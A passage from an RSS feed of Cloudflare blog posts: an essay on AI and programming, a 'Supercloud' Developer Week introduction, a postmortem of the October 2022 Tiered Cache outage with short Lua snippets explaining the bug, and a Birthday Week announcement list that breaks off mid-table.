            <content:encoded><![CDATA[ <p></p><p>The 1947 paper titled “<a href="https://link.springer.com/chapter/10.1007/978-3-642-61812-3_31">Preparation of Problems for EDVAC-Type Machines</a>” talks about the idea and usefulness of a “subroutine”. At the time there were only a tiny number of computers worldwide and subroutines were a novel idea, and it was clear that these subroutines were going to make programmers more productive: “<i>Many operations which are thus excluded from the built-in set are still of sufficiently frequent occurrence to make undesirable the repetition of their coding in detail</i>.”</p><p>Looking back it seems amazing that subroutines had to be invented, but at the time programmers wrote literally everything they needed to complete a task. That made programming slow, error-prone and restricted who could be a programmer to a relatively small group of people.</p><p>Luckily, things changed.</p><p>You can look at the history of computer programming as improvements in programmer productivity and widening the scope of who is a programmer. Think of syntax highlighting, high-level languages, IDEs, libraries and frameworks, APIs, Visual Basic, code completion, refactoring tools, spreadsheets, and so on.</p><p>And here we are with things changing again.</p>
    <div>
      <h3>The new programmers</h3>
      <a href="#the-new-programmers">
        
      </a>
    </div>
    <p>The recent arrival of LLMs capable of assisting programmers in writing, debugging and modifying code is yet another step. It’s a step at both making programmers more productive <i>and</i> helping more people be programmers.</p><p>As programmers a lot of what we do is arcane.</p><p>Sure, we have helped create the modern world, but we spend a lot of time on things that actually exclude many from being programmers. Think of how many times you’ve messed up syntax, misinterpreted the result of calling a function, or made an off-by-one error in a loop.</p><p>And we’re expected to operate at a concrete and abstract level simultaneously. We hold the architecture and state of a system in our heads, imagining the program as data flows through it, and worry about a missing semicolon.</p><p>This is, frankly, weird.</p><p>That weirdness is partly why the children’s programming language <a href="https://scratch.mit.edu/">Scratch</a> eliminates much of the arcana. It’s designed to stop the user making small mistakes that add up to not making progress on a program. Its on-screen shapes are designed to show how a program flows and loops. What if AI eliminates much of our odd work and lets people concentrate on the thing they are creating?</p><p>I think that would be wonderful and would open the world of programming to many, many more people. But we’re not there yet. We’re at the point where AIs are hugely helpful assistants in the traditional art of programming. And this week Cloudflare will introduce its own AI assistants to make programmers using Cloudflare Workers much more productive. And these assistants are going to help more people use the Cloudflare Developer Platform.</p>
    <div>
      <h3>The new platforms</h3>
      <a href="#the-new-platforms">
        
      </a>
    </div>
    <p>A developer platform without AI isn’t going to be much use. It’ll be a bit like a developer platform that can’t do floating point arithmetic, or handle a list of data. We’re going to see every developer platform have AI capability built in because these capabilities will allow developers to make richer experiences for users.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3HXm3Tc6gr0NO7tDlgdZDf/b90e1231f64276d5ec650dc56b2b4b8f/image3-4.png" />
            
            </figure><p>If you’ve used a phone’s picture library recently you’ve probably discovered that you can search by what’s in an image. Type ‘cat’ and you can see all the cat pictures you’ve taken. Image classification like this is an example of the sort of functionality that a developer platform should provide so that a programmer can build a productive and exciting experience for their users.</p><p>That’s why this week we’ll be announcing AI features built directly into the Cloudflare Workers platform so that developers have a rich toolset at their disposal. And they’ll be able to train and upload their own models to run on our global network.</p><p>AI systems, by their nature, require a lot of data both for training and for executing models. Think giga- to petabytes. And a lot of that data needs to move around. Unlike a database where data might largely be stored and accessed infrequently, AI systems are alive with moving data.</p><p>To accommodate that, platforms need to stop treating data as something to lock in developers with. Data needs to be free to move from system to system, from platform to platform, without transfer fees, egress or other nonsense. If we want a world of AI, we need a world of data fluidity. We’ll look this week at how Cloudflare (including our R2) enables that.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6oox24twTiX05zQ2yRUPzk/a7f41899d181ca9b61e850c2ab4043c3/image1-17.png" />
            
            </figure><p>I like to think (it has to be!)</p><p>As I look back at 40 years of my programming life, I haven’t been this excited about a new technology… ever. That’s because AI is going to be a pervasive change to how programs get written, who writes programs and how all of us interact with software.</p><p>In a talk, Andrew Ng called AI “<a href="https://www.gsb.stanford.edu/insights/andrew-ng-why-ai-new-electricity">The New Electricity</a>”. Does that seem exaggerated? I don’t think so. Electricity utterly altered work and life for everyone and has become so much part of life that when electricity supplies fail it’s a shock.</p><p>AI is going to have a similarly profound effect on the way we live and work, and will be equally pervasive. And AI is already here, not just in the form of ChatGPT and Google Bard, but through machine translation, agents like Siri and Alexa, and a myriad of unseen systems that do something humans can’t do: keep up with the speed of the Internet helping to protect it and us.</p><p>And, I predict, AI is going to help people be smarter. That effect has already been seen with the ancient game Go. In 2016, one of the world’s strongest Go players, Lee Sedol, was <a href="https://en.wikipedia.org/wiki/AlphaGo_versus_Lee_Sedol">beaten</a> by AlphaGo and later retired. But something interesting has happened: Go players playing against AI <a href="https://www.pnas.org/doi/abs/10.1073/pnas.2214840120">are getting stronger</a>. Humans are learning new strategies and improving.</p><p>I think AI has the potential to do that for all of us. And for programmers I think it’ll make us more productive and make more people programmers.</p><p>Which makes me wonder what a 2047 paper entitled “Preparation of Programs for NEURAL-Type Machines” will introduce. What new exciting way of programming is there for us to discover in the next few years? What cybernetic ecology will be created that makes the flow of ideas from the brain to silicon so much quicker?</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Ap2vgPZ2PrsuwYZmu9JpM/82efa2f391d8bd502379312715bfb606/image2-6.png" />
            
            </figure> ]]></content:encoded>
            <category><![CDATA[Developer Week]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">17XG6Xh20CAKVi37mwPd45</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Welcome to the Supercloud (and Developer Week 2022)]]></title>
            <link>https://blog.cloudflare.com/welcome-to-the-supercloud-and-developer-week-2022/</link>
            <pubDate>Mon, 14 Nov 2022 14:01:00 GMT</pubDate>
            <description><![CDATA[ Every developer wants to get code running on one machine and perfect it. It’s so much easier to work that way. We just happen to have one machine that scales to the size of the Internet: a global, distributed, supercomputer. It’s our Supercloud, and we build our own products on it, and you can too ]]></description>
            <content:encoded><![CDATA[ <p></p><p>In <a href="https://www.sec.gov/Archives/edgar/data/1477333/000119312519222176/d735023ds1.htm">Cloudflare’s S-1 document</a> there’s a section that begins: <i>“The Internet was not built for what it has become”.</i></p><p>That sentence expresses the idea that the Internet, which started as an experiment, has blossomed into something we all need to rely upon for our daily lives and work. And that more is needed than just the Internet as was designed; it needed security and performance and privacy.</p><p>Something similar can be said about the cloud: <i>the cloud was not designed for what it must become</i>.</p><p>The introduction of services like Amazon EC2 was undoubtedly a huge improvement on the old way of buying and installing racks and racks of servers and storage systems, and then maintaining them.</p><p>But by its nature the cloud was a virtualization of the older real world infrastructure and not a radical rethink of what computing should look like to meet the demands of Internet-scale businesses. It’s as if steam locomotives were replaced with efficient electric engines but still required a chimney on top and stopped to take on water every two hundred miles.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/PR4LHv01tuPUlIErCnvNI/d304d146eaf7d7e4794a40ed20ac2e64/image3-17.png" />
            
            </figure><p>The cloud replaced the rituals of buying servers and installing operating systems with new and now familiar rituals of choosing regions, and provisioning virtual machines, and keeping code artificially warm.</p><p>But along the way glimpses of light are seen through the cloud in the form of lambdas, or edges, or functions, or serverless. All are trying to give a name to a model of cloud computing that promises to make developers highly productive at scaling from one to Internet-scale. It’s a model that rather than virtualizing machines or disks or wrapping things in containers says: “<i>write code, we’ll run it, don’t sweat the details like scaling or location</i>”.</p><p>We’re calling that the Supercloud.</p><p>The foundations of the Supercloud are compute and data services that make running any size application efficient and infinitely scalable without the baggage of the cloud as it exists today.</p>
    <div>
      <h3>The foundations of the Supercloud</h3>
      <a href="#the-foundations-of-the-supercloud">
        
      </a>
    </div>
    <p>Some years ago a movement called NoSQL developed new ways of storing and processing data that didn’t rely on databases. Key-value stores and document stores flourished because rather than thinking about data at the granularity of databases or tables or even rows, they made a direct connection between code and data at a simple level.</p><p>You can think of NoSQL as a drive towards granularity. And it worked. NoSQL stores, KVs, object stores (like <a href="https://www.cloudflare.com/developer-platform/r2/">R2</a>) abound. The rise of <a href="https://en.wikipedia.org/wiki/MapReduce">MapReduce</a> for processing data is also about granularity; by breaking data processing into easily scaled pieces (the map and the reduce) it was possible to handle huge amounts of data efficiently and scale up and down as needed.</p><p>The same thing is happening for cloud code. Just as programmers didn’t always want to think in database-sized chunks, they shouldn’t have to think about VM- or container-sized chunks. It’s inefficient and has nothing to do with the actual job of writing code to create a service. It’s unnecessary work that distracts from the real value of programming something into existence.</p><p>In distributed programming theory, granularity has been around for a long time. The <a href="https://en.wikipedia.org/wiki/Communicating_sequential_processes">CSP model</a> is of tiny processes performing tasks and passing data (it helped inspire the Go language); the <a href="https://en.wikipedia.org/wiki/Actor_model">Actor model</a> has messages passed between multitudes of actors changing internal state; even the <a href="https://en.wikipedia.org/wiki/Lambda_calculus">lambda calculus</a> is about discrete functions acting on data.</p><p>Object-oriented programming has developers reasoning about objects (not virtual machines or disks). And in <a href="https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture">CORBA</a>, and similar systems, there’s the concept of an <a href="https://en.wikipedia.org/wiki/Object_request_broker">object request broker</a> allowing objects to run and be accessed remotely in a distributed system without knowing details of where or how the object executes.</p><p>The theory of computing points away from dedicated machines (virtual or real) and to code and data that run on the Supercloud handling the details of code execution and data locality automatically and efficiently.</p><p>So whether you write your code by breaking it up into functions or ship large pieces of functionality or entire programs, the foundations of the Supercloud means that your code benefits from its efficiency. And more.</p>
    <div>
      <h3>The Supercloud advantage</h3>
      <a href="#the-supercloud-advantage">
        
      </a>
    </div>
    <p>The Supercloud makes scaling easy because no one has to think about how many VMs to provision, no one has to keep hot standby VMs in case there's a flood of visitors. Just as MapReduce (which traces its heritage to the lambda calculus) scales up and down, so should general purpose computing.</p><p>And it’s not just about scaling. In the Supercloud both code and data are mobile and move around the network. Attach data to the code (such as with <a href="https://developers.cloudflare.com/workers/learning/using-durable-objects">Durable Objects</a>; hello Actor model) and you have a foundation for applications that can scale to any size and move close to users as needed to provide the best performance.</p><p>Alternatively, if your data is immovable, we move your code closer to it, no matter how many times you need to access it.</p><p>Not only that but working at this level of flexibility means that code enforcing a data privacy or data residence law about where data can be processed or stored can operate at the level of individual users or objects. The same code can behave differently and even be executed in a completely different country based on where its associated data is stored.</p><p>A Supercloud has two interesting effects on the cost of running a program. Firstly, it makes it more economical because you only run what you need. There’s never any need for committed VMs waiting for work, or idle machines you’re paying for just in case. Code either runs or it doesn’t. It scales up and down as needed. You only pay for precisely what you need.</p><p>Secondly, it creates a more efficient compute platform which is better for everyone. It forces the compute platform (e.g. us) to be as efficient as possible. We have to be able to start code quickly for performance and scale up reasons. We need to efficiently use CPUs because no customer is paying us to keep idle CPUs around. And it’s better for the environment because cloud machines run at very high levels of utilization. This level of efficiency is what allows our platform to scale to the 10 million requests that Cloudflare Workers processed in the time it took you to read the last word of this sentence.</p><p>And this compute platform scales well beyond a machine, or a data center, or a country. With the right software (which we’ve built) it scales to the size of the Internet. Software allocates resources automatically across the globe, moving connections, data and processing around for high efficiency and optimal end user experience.</p><p>Efficient compute and storage, a global network that’s everywhere everyone is, bound together by software that turns the globe into a single cloud. The Supercloud.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6DuKq5BA7Ttfo05Z225pLa/c7fc48378c3ecf23e45674fead8e305e/image2-22.png" />
            
            </figure>
    <div>
      <h3>Welcome to the Supercloud</h3>
      <a href="#welcome-to-the-supercloud">
        
      </a>
    </div>
    <p>The Supercloud is performant, scalable, available, private, and cost-efficient. Choosing a region for your application, or provisioning virtual machines, or working out how to auto-scale containers, or worrying about cold starts seems ridiculous, hard, anachronistic, a waste of time, rigid and expensive.</p><p>Happily, Cloudflare’s been building the alternative to that traditional cloud into our network and our developer platform for years. The Supercloud. The term may be new, but that doesn’t mean that it’s not real. Today, we have over a million developers building on the Supercloud.</p><p>Each of those developers wants to get code running on one machine and perfect it. It’s so much easier to work that way. We just happen to have one machine that scales to the size of the Internet: a global, distributed supercomputer. It’s the Supercloud and we build our own products on it, and you can join those one million developers and build on it too.</p><p>We’ve been building the Supercloud for 12 years, and five years ago opened it up to developers through Cloudflare Workers. Cloudflare Workers was built for scale and performance since day one, by running on our global network.</p><p>And with that, welcome to the Supercloud and welcome to Cloudflare Developer Week 2022.</p><p>As is the case with all of our Innovation Weeks, we’re excited to kick off another week of announcements, enabling more and more use cases to be built on the Supercloud. In fact, it’s building on the Workers developer platform that gives us the super powers to continue delivering new building blocks for our users. This week, we’re not just going to tell you about all the new tools you can play with, but also how we built many of them, how you can use them, and what our customers are building with them in production today.</p>
    <div>
      <h3>Watch on Cloudflare TV</h3>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div></div><p>You can watch the complete segment of our weekly show <a href="https://cloudflare.tv/shows/this-week-in-net"><i>This Week in Net</i> here</a> — or hear it in the audio/podcast format.</p> ]]></content:encoded>
            <category><![CDATA[Developer Week]]></category>
            <category><![CDATA[Supercloud]]></category>
            <guid isPermaLink="false">4VUgWDdwkaGCMUHWGTV8Wv</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Partial Cloudflare outage on October 25, 2022]]></title>
            <link>https://blog.cloudflare.com/partial-cloudflare-outage-on-october-25-2022/</link>
            <pubDate>Wed, 26 Oct 2022 03:02:50 GMT</pubDate>
            <description><![CDATA[ Today, a change to our Tiered Cache system caused some requests to fail for users with status code 530 ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5hJhY1sHBOZSpglFZVl7Hq/df78cb9e5dccac95d320287b3cb42dd8/1-2.png" />
            
            </figure><p>Today, a change to our Tiered Cache system caused some requests to fail for users with status code 530. The impact lasted for almost six hours in total. We estimate that about 5% of all requests failed at peak. Because of the complexity of our system and a blind spot in our tests, we did not spot this when the change was released to our test environment.  </p><p>The failures were caused by side effects of how we handle cacheable requests across locations. At first glance, the errors looked like they were caused by a different system that had started a release some time before. It took our teams a number of tries to identify exactly what was causing the problems. Once identified we expedited a rollback which completed in 87 minutes.</p><p>We’re sorry, and we’re taking steps to make sure this does not happen again.</p>
    <div>
      <h3>Background</h3>
      <a href="#background">
        
      </a>
    </div>
    <p>One of Cloudflare’s products is our Content Delivery Network, or CDN. This is used to cache assets for websites globally. However, a data center is not guaranteed to have an asset cached. It could be new, expired, or has been purged. If that happens, and a user requests that asset, our CDN needs to retrieve a fresh copy from a website’s origin server. But the data center that the user is accessing might still be pretty far away from the origin server. This presents an additional issue for customers: every time an asset is not cached in the data center, we need to retrieve a new copy from the origin server.</p><p>To improve cache hit ratios, we introduced <a href="/introducing-smarter-tiered-cache-topology-generation/">Tiered Cache</a>. With Tiered Cache, we organize our data centers in the CDN into a hierarchy of “lower tiers” which are closer to the end users and “upper tiers” that are closer to the origin. When a cache-miss occurs in a lower tier, the upper tier is checked. If the upper tier has a fresh copy of the asset, we can serve that in response to the request. This improves performance and reduces the amount of times that Cloudflare has to reach out to an origin server to retrieve assets that are not cached in lower tier data centers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/yyZ1ow2W0dM1zPPSWlYDb/442072566ebc71758aa6e70c0193a9fd/2-2.png" />
            
            </figure>
    <div>
      <h3>Incident timeline and impact</h3>
      <a href="#incident-timeline-and-impact">
        
      </a>
    </div>
    <p>At 08:40 UTC, a software release of a CDN component containing a bug began slowly rolling out. The bug was triggered when a user visited a site with either Tiered Cache, Cloudflare Images, or Bandwidth Alliance configured. This bug caused a subset of those customers to return HTTP Status Code 530 — an error. Content that could be served directly from a data center's local cache was unaffected.</p><p>We started an investigation after receiving customer reports of an intermittent increase in 530s after the faulty component was released to a subset of data centers.</p><p>Once the release started rolling out globally to the remaining data centers, a sharp increase in 530s triggered alerts along with more customer reports, and an incident was declared.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5GRoqSuj9kxooMxIeQ7X6o/e751538115c6108f2335261d3f835807/3-2.png" />
            
            </figure><p><i>Requests resulting in a response with status code 530</i></p><p>We confirmed a bad release was responsible by rolling back the release in a data center at 17:03 UTC. After the rollback, we observed a drop in 530 errors. After this confirmation, an accelerated global rollback began and the 530s started to decrease. Impact ended once the release was reverted in all data centers configured as Tiered Cache upper tiers at 18:04 UTC.</p><p>Timeline:</p><ul><li><p>2022-10-25 08:40: The release started to roll out to a small subset of data centers.</p></li><li><p>2022-10-25 10:35: An individual customer alert fires, indicating an increase in 500 error codes.</p></li><li><p>2022-10-25 11:20: After an investigation, a single small data center is pinpointed as the source of the issue and removed from production while teams investigate the issue there.</p></li><li><p>2022-10-25 12:30: Issue begins spreading more broadly as more data centers get the code changes.</p></li><li><p>2022-10-25 14:22: 530s errors increase as the release starts to slowly roll out to our largest data centers.</p></li><li><p>2022-10-25 14:39: Multiple teams become involved in the investigation as more customers start reporting increases in errors.</p></li><li><p>2022-10-25 17:03: CDN Release is rolled back in Atlanta and root cause is confirmed.</p></li><li><p>2022-10-25 17:28: Peak impact with approximately 5% of all HTTP requests resulting in an error with status code 530.</p></li><li><p>2022-10-25 17:38: An accelerated rollback continues with large data centers acting as Upper tier for many customers.</p></li><li><p>2022-10-25 18:04: Rollback is complete in all Upper Tiers.</p></li><li><p>2022-10-25 18:30: Rollback is complete.</p></li></ul><p>During the early phases of the investigation, the indicators were that this was a problem with our internal DNS system that also had a release rolling out at the same time. As the following section shows, that was a side effect rather than the cause of the outage.  </p>
    <div>
      <h3>Adding distributed tracing to Tiered Cache introduced the problem</h3>
      <a href="#adding-distributed-tracing-to-tiered-cache-introduced-the-problem">
        
      </a>
    </div>
    <p>In order to help improve our performance, we routinely add monitoring code to various parts of our services. Monitoring code helps by giving us visibility into how various components are performing, allowing us to determine bottlenecks that we can improve on. Our team recently added additional distributed tracing to our Tiered Cache logic. The tiered cache entrypoint code is as follows:</p><p>* Before:</p>
            <pre><code>function _M.go()
   -- code to run here
end
</code></pre>
            <p>* After:</p>
            <pre><code>local trace_fn = require("opentracing").trace_fn

local function go()
  -- code to run here
end

function _M.go()
  trace_fn(ngx.ctx, "tiered_cache_rewrite", go)
end</code></pre>
            <p>The code above wraps the existing go() function with trace_fn() which will call the go() function and then reports its execution time.</p><p>However, the logic that injects a function to the opentracing module clears control headers on every request:</p>
            <pre><code>require("opentracing").configure_module(conf,
  -- control header extractor
  function(ctx)
    -- Always clear the headers.
    clear_control_headers()
    -- </code></pre>
            <p>Normally, we extract data from these control headers before clearing them as a routine part of how we process requests.</p><p>But internal tiered cache traffic expects the control headers from the lower tier to be passed as-is. The combination of clearing headers and using an upper tier meant that information that might be critical to the routing of the request was not available. In the subset of requests affected, we were missing the hostname to resolve by our internal DNS lookup for origin server IP addresses. As a result, a 530 DNS error was returned to the client.</p>
    <div>
      <h3>Remediation and follow-up steps</h3>
      <a href="#remediation-and-follow-up-steps">
        
      </a>
    </div>
    <p>To prevent this from happening again, in addition to the fixing the bug, we have identified a set of changes that help us detect and prevent issues like this in the future:</p><ul><li><p>Include a larger data center that is configured as a Tiered Cache upper tier in an earlier stage in the release plan. This will allow us to notice similar issues more quickly, before a global release.</p></li><li><p>Expand our acceptance test coverage to include a broader set of configurations, including various Tiered Cache topologies.</p></li><li><p>Alert more aggressively in situations where we do not have full context on requests, and need the extra host information in the control headers.</p></li><li><p>Ensure that our system correctly fails fast in an error like this, which would have helped identify the problem during development and test.</p></li></ul>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We experienced an incident that affected a significant set of customers using Tiered Cache. After identifying the faulty component, we were able to quickly rollback and remediate the issue. We are sorry for any disruption this has caused our customers and end users trying to access services.</p><p>Remediations to prevent such an incident from happening in the future will be put in place as soon as possible.</p> ]]></content:encoded>
            <category><![CDATA[Outage]]></category>
            <category><![CDATA[Post Mortem]]></category>
            <guid isPermaLink="false">2TjJcc3wlhfY93xN3mESJ2</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[What we served up for the last Birthday Week before we're a teenager]]></title>
            <link>https://blog.cloudflare.com/what-we-served-up-for-the-last-birthday-week-before-were-a-teenager/</link>
            <pubDate>Mon, 03 Oct 2022 15:54:39 GMT</pubDate>
            <description><![CDATA[ Cloudflare's 12th birthday week: 36 announcements ranging from SIM cards to post quantum encryption via hardware keys and so much more. Here’s a review of everything we announced this week ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Almost a teen. With <a href="https://www.cloudflare.com/birthday-week/">Cloudflare’s 12th birthday</a> last Tuesday, we’re officially into our thirteenth year. And what a birthday we had!</p><p>36 announcements ranging from SIM cards to post quantum encryption via hardware keys and so much more. Here’s a review of everything we announced this week.</p>
    <div>
      <h3>Monday</h3>
      <a href="#monday">
        
      </a>
    </div>
    <table>
<thead>
  <tr>
    <th>What</th>
    <th>In a sentence…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/the-first-zero-trust-sim/">The First Zero Trust SIM</a></td>
    <td>We’re bringing Zero Trust security controls to the humble SIM card, rethinking how mobile device security is done, with the Cloudflare SIM: the world’s first Zero Trust SIM.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/rethinking-internet-of-things-security/">Securing the Internet of Things</a></td>
    <td>We’ve been defending customers from Internet of Things botnets for years now, and it’s time to turn the tides: we’re bringing the same security behind our Zero Trust platform to IoT.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/zero-trust-for-mobile-operators/">Bringing Zero Trust to mobile network operators</a></td>
    <td>Helping bring the power of Cloudflare’s Zero Trust platform to mobile operators and their subscribers.</td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Tuesday</h3>
      <a href="#tuesday">
        
      </a>
    </div>
    <table>
<thead>
  <tr>
    <th>What</th>
    <th>In a sentence…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/workers-launchpad/">Workers Launchpad</a></td>
    <td>Leading venture capital firms to provide up to $1.25 BILLION to back startups built on Cloudflare Workers.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/startup-program-v2/">Startup Plan v2.0</a></td>
    <td>Increasing the scope, eligibility and products we include under our Startup Plan, enabling more developers and startups to build the next big thing on top of Cloudflare.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/workerd-open-source-workers-runtime/">workerd: the Open Source Workers runtime</a></td>
    <td>workerd, the JavaScript/Wasm runtime based on the same code that powers Cloudflare Workers. workerd is open source under the Apache License version 2.0.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/announcing-cloudflare-calls/">Cloudflare Calls</a></td>
    <td>A new product that lets developers build real-time audio/video apps. Cloudflare Calls exposes a set of APIs to build video conferencing, screen sharing, and group calling apps on our network. </td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/introducing-cloudflare-queues/">Cloudflare Queues</a></td>
    <td><a href="https://developers.cloudflare.com/queues/">Queues</a> is a global message queuing service that allows applications to reliably send and receive messages using Cloudflare Workers. It offers at-least once message delivery, supports batching of messages, and charges no bandwidth egress fees.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/whats-new-with-d1/">What’s new with D1</a></td>
    <td>Improving the developer experience of D1 with CLI support for backups, snapshots and local development.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/webrtc-whip-whep-cloudflare-stream/">WebRTC live streaming</a></td>
    <td>Cloudflare Stream <a href="https://developers.cloudflare.com/stream/webrtc-beta/">now supports</a> live video streaming over WebRTC, with sub-second latency, to unlimited concurrent viewers. </td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/future-of-page-rules/">The future of Page Rules</a></td>
    <td>Our plan to replace Page Rules with four dedicated products, offering increased rules quota, more functionality, and better granularity.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/introducing-cache-rules/">Cache Rules</a></td>
    <td>Evolving rules-based caching on Cloudflare with more configurable Cache Rules.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/configuration-rules/">Configuration Rules</a></td>
    <td>Configuration Rules enable new use-cases that previously were impossible without writing custom code in a Cloudflare Worker, including A/B testing configuration, enabling features for a set of file extensions and much more.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/origin-rules/">Origin Rules</a></td>
    <td>A new product which allows for overriding the host header, the Server Name Indication (SNI), destination port and DNS resolution of matching HTTP requests.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/dynamic-redirect-rules/">Dynamic URL redirects</a></td>
    <td>Users can redirect visitors to another webpage or website based upon hundreds of options such as the visitor's country of origin or language, without having to write a single line of code.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/cloudflare-named-leader-waf-forrester-2022/">Cloudflare named a Leader in WAF by Forrester</a></td>
    <td>Forrester has recognised Cloudflare as a Leader in The Forrester Wave™: Web Application Firewalls, Q3 2022 report. </td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Wednesday</h3>
      <a href="#wednesday">
        
      </a>
    </div>
    <table>
<thead>
  <tr>
    <th>What</th>
    <th>In a sentence…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/turnstile-private-captcha-alternative/">Turnstile, a user-friendly, privacy-preserving alternative to CAPTCHA</a></td>
    <td>Turnstile is an invisible alternative to CAPTCHA. Anyone, anywhere on the Internet, who wants to replace CAPTCHA on their site will be able to call a simple API, without having to be a Cloudflare customer or sending traffic through the Cloudflare global network.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/free-magic-network-monitoring/">Magic Network Monitoring for everyone</a></td>
    <td>Magic Network Monitoring will be available to everyone, and now features a powerful analytics dashboard, self-serve configuration, and a step-by-step onboarding wizard. </td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/botnet-threat-feed-for-isp/">Botnet Threat Feed for service providers</a></td>
    <td>The Botnet Threat Feed will give ISPs threat intelligence on their own IP addresses that have participated in HTTP DDoS attacks as observed from the Cloudflare network — allowing them to reduce their abuse-driven costs, and ultimately reduce the amount and force of DDoS attacks across the Internet.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/privacy-edge-making-building-privacy-first-apps-easier/">Build privacy-preserving products with Privacy Edge</a></td>
    <td>Privacy Edge, including Code Auditability, Privacy Gateway, Privacy Proxy, and Cooperative Analytics, is a suite of products that make it easy for site owners and developers to build privacy into their products, by default.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/quick-search-beta/">Quick search in the dashboard</a></td>
    <td>Our first release of quick search for the Cloudflare dashboard, a beta version of our first ever cross-dashboard search tool to help you navigate our products and features.</td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Thursday</h3>
      <a href="#thursday">
        
      </a>
    </div>
    <table>
<thead>
  <tr>
    <th>What</th>
    <th>In a sentence…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/making-phishing-defense-seamless-cloudflare-yubico/">Making phishing defense seamless with Cloudflare Zero Trust and Yubico</a></td>
    <td>An exclusive program for Cloudflare customers that makes hardware keys more accessible and economical than ever. This program is made possible through a new collaboration with Yubico, the industry’s leading hardware security key vendor and provides Cloudflare customers with exclusive “Good for the Internet” pricing.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/how-cloudflare-implemented-fido2-and-zero-trust/">How Cloudflare implemented hardware keys to prevent phishing</a></td>
    <td>How Cloudflare uses hardware keys, built on FIDO2 and Webauthn, to become phish proof and more easily enforce least privilege access control.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/rbac-for-everyone/">Role Based Access Controls for every Cloudflare plan</a></td>
    <td>Role based access controls, and all of our additional roles, will be rolled out to users on every plan. </td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/safe-email-links/">Email Link Isolation</a></td>
    <td>Bringing Browser Isolation to potentially unsafe links in email with Zero Trust and Area 1.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/unmetered-ratelimiting/">Unmetered Rate Limiting</a></td>
    <td>Today, we are announcing that Free, Pro and Business plans include Rate Limiting rules without extra charges, including an updated version that is built on the powerful ruleset engine and allows building rules like in Custom Rules.</td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Friday</h3>
      <a href="#friday">
        
      </a>
    </div>
    <table>
<thead>
  <tr>
    <th>What</th>
    <th>In a sentence…</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/gateway-casb-in-action/">Gateway + CASB</a></td>
    <td>When CASB, Cloudflare’s API-driven SaaS security scanning tool, discovers a problem, it’s now possible to easily create a corresponding Gateway policy in as few as three clicks.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/project-a11y/">Project A11Y</a></td>
    <td>How we upgraded Cloudflare’s dashboard to adhere to industry accessibility standards.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/stream-for-pro-biz-customers/">Bringing (free) Stream to Pro and Business plans </a></td>
    <td>Beginning December 1, 2022, if you have a Business or Pro subscription, you will receive a complimentary allocation of Cloudflare Stream, including up to 100 minutes of video content and deliver up to 10,000 minutes of video content each month at no additional cost.</td>
  </tr>
  <tr>
    <td><a href="http://staging.blog.mrk.cfdata.org/analytics-engine-open-beta/">Workers Analytics Engine public beta</a></td>
